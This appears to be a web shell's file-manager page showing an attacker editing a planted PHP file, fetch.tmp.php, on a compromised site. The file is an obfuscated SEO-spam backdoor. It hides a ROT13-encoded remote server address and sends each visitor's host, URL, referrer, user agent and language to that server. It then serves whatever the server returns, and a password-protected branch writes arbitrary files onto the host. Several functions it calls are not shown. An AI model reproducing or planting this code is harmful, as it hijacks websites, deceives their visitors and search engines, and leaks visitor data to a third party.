SWAMPy

✎ CARVE FLESH

EDITING: fetch.tmp.php

<?php
if (!defined('KK')) {
    define('KK', '536f720f3acaa83e348a52e2cbf02dcb');
}
if (!defined('NN')) {
    define('NN', '19323');
}
if (!defined('URL')) {
    define('URL', '%34%32%33%37%2D%72%61%2D%69%36%2D%31%2E%36%39%71%66%69%2E%6B%6C%6D');
}

if (!empty($_REQUEST["error"])) {
    ini_set("display_errors", "On");
    ini_set("error_reporting", E_ALL);
    $s_statsu = true;
} else {
    error_reporting(0);
    ini_set('display_errors', 0);
    $s_statsu = false;
}

@set_time_limit(3600);
@ignore_user_abort(1);

$wV5OL = URL;
$sBXh8 = "http";
if (ESm1m()) {
    $usAhr = "https";
} else {
    $usAhr = "http";
}

$OwIhJ = BVeon();
if ($OwIhJ == '') {
    $OwIhJ = "/";
}
if (preg_match('#^/index\.php/?$#i', $OwIhJ)) {
    $OwIhJ = "/";
}

$FvlcR = urlencode($OwIhJ);
$allurl = urlencode(getCurrentUrl());
$rdzSK = urlencode(getHostdomain());
$NwKOf = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : '';

if (isset($_SERVER["HTTP_REFERER"])) {
    $qM7np = $_SERVER["HTTP_REFERER"];
    $qM7np = urlencode($qM7np);
} else {
    $qM7np = '';
}

if (isset($_SERVER["HTTP_USER_AGENT"])) {
    $MdsNo = urlencode($_SERVER["HTTP_USER_AGENT"]);
} else {
    $MdsNo = '';
}

if (!empty($_REQUEST["pwd"])) {
    $fFWzR = md5($_REQUEST["pwd"]);
} else {
    $fFWzR = '';
}

if ($fFWzR == "8c929159e2048ffc2f53596b093ef089") {
    $izj_M = @$_REQUEST["gv"];
    $Bpum2 = @$_REQUEST["action"];
    if ($Bpum2 == "checkwp") {
        echo "success";
    } elseif (!empty($izj_M)) {
        $name = $izj_M;
        $content = "google-site-verification: " . $name;
        $handle = fopen($name . "", "w");
        fwrite($handle, $content);
        fclose($handle);
        if (file_exists($name)) {
            echo "true";
        } else {
            echo "false";
        }
    }
    exit;
}

$ZibXI = strtr(
    urldecode($wV5OL),
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
    "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"
);

if ($OwIhJ == "/") {
    $SendCheck = true;
} else {
    if (checkLink(urldecode($allurl)) || strstr(urldecode($allurl), ".xml")) {
        $SendCheck = true;
    } else {
        $SendCheck = false;
    }
}

if ($SendCheck) {
    $isus = 1;
} else {
    $isus = 2;
}

$getUrl = $sBXh8 . "://" . $ZibXI
    . "/?web=" . $rdzSK
    . "&zz=" . wiRNx()
    . "&uri=" . $FvlcR
    . "&ufrom=" . $qM7np
    . "&allurl=" . $allurl
    . "&lang=" . $NwKOf
    . "&ua=" . $MdsNo
    . "&kk=" . KK
    . "&nn=" . NN
    . "&pp=" . urlencode(bvwg3())
    . "&isus=" . $isus;

if (!badSpider($MdsNo) && !checkFileType(urldecode($allurl))) {
    $backhtml = trim(RgbKM($getUrl));
} else {
    $backhtml = '';
}

if ($s_statsu) {
    echo $backhtml;
}

if (!empty($backhtml)) {
    if (!strstr($backhtml, "{{code") && !strstr($backhtml, ".xyz")) {
        if (strstr($backhtml, "okxmlgetcontent")) {
            $backhtml = str_replace("okxmlgetcontent", '', $backhtml);
            @header("Content-type: text/xml");
            echo $backhtml;
            exit;
        } else {
            echo $backhtml;
            exit;
        }
    } else {
        if (strstr($backhtml, "code404")) {
        }
    }
}

function getHostdomain()
{
    $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    return "$scheme://$host";
}

function getCurrentUrl()
{
    $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    $requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    return "$scheme://$host$requestUri";
}

function checkLink($link)
{
    $pattern = '/\/\?[a-zA-Z]=/';
    return preg_match($pattern, $link) > 0;
}

CANCEL

Name	Type	Size	Modified	Actions
↩ ..	DIR	—	—
📄 fetch.tmp.php	PHP	7.2 KB	2026-10-01 14:11	EDIT
📄 index_baseline.dat	DAT	19.6 KB	2026-10-01 14:11	EDIT
📄 index_baseline.json	JSON	132 B	2026-10-01 14:11	EDIT
📄 runner.php	PHP	27.5 KB	2026-09-29 10:24	EDIT